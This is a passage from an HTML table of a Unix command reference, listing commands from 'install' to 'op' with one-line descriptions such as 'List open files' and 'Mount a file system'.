<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> install</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Copy files and set attributes</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td colspan="2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">J</strong></td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> jobs</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> List active jobs</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> join</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Join lines on a common field</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td colspan="2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">K</strong></td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> kill</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Stop a process from running</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> killall</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Kill processes by name</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td colspan="2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">L</strong></td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> less</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Display output one screen at a time</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> let</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Perform arithmetic on shell variables</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> ln</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Create a symbolic link to a file</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> local</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Create variables</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">locate</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Find files</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> logname</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Print current login name</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> logout</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Exit a login shell</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> look</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Display lines beginning with a given string</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> lpc</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Line printer control program</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> lpr</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Off line print</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> lprint</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Print a file</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> lprintd</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Abort a print job</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> lprintq</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> List the print queue</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> lprm</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Remove jobs from the print queue</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> ls</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> List information about files</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> lsof</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> List open files</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td colspan="2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">M</strong></td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> make</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Recompile a group of programs</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> man</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Help manual</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> mkdir</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Create new folders</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> mkfifo</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Make FIFOs (named pipes)</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> mkisofs</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Create an hybrid ISO9660/JOLIET/HFS filesystem</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> mknod</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Make block or character special files</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> more</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Display output one screen at a time</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> mount</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Mount a file system</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> mtools</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Manipulate MS-DOS files</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> mtr</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Network diagnostics (traceroute/ping)</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> mv</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Move or rename files or directories</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> mmv</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Mass Move and rename files</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td colspan="2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">N</strong></td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> netstat</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Networking information</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> nice</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Set the priority of a command or job</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> nl</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Number lines and write files</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> nohup</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Run a command immune to hangups</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> notify-send</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Send desktop notifications</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> nslookup</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Query Internet name servers interactively</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td colspan="2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">O</strong></td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> open</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Open a file in its default application</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> op</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Operator access</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td colspan="2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">P</strong></td></tr>
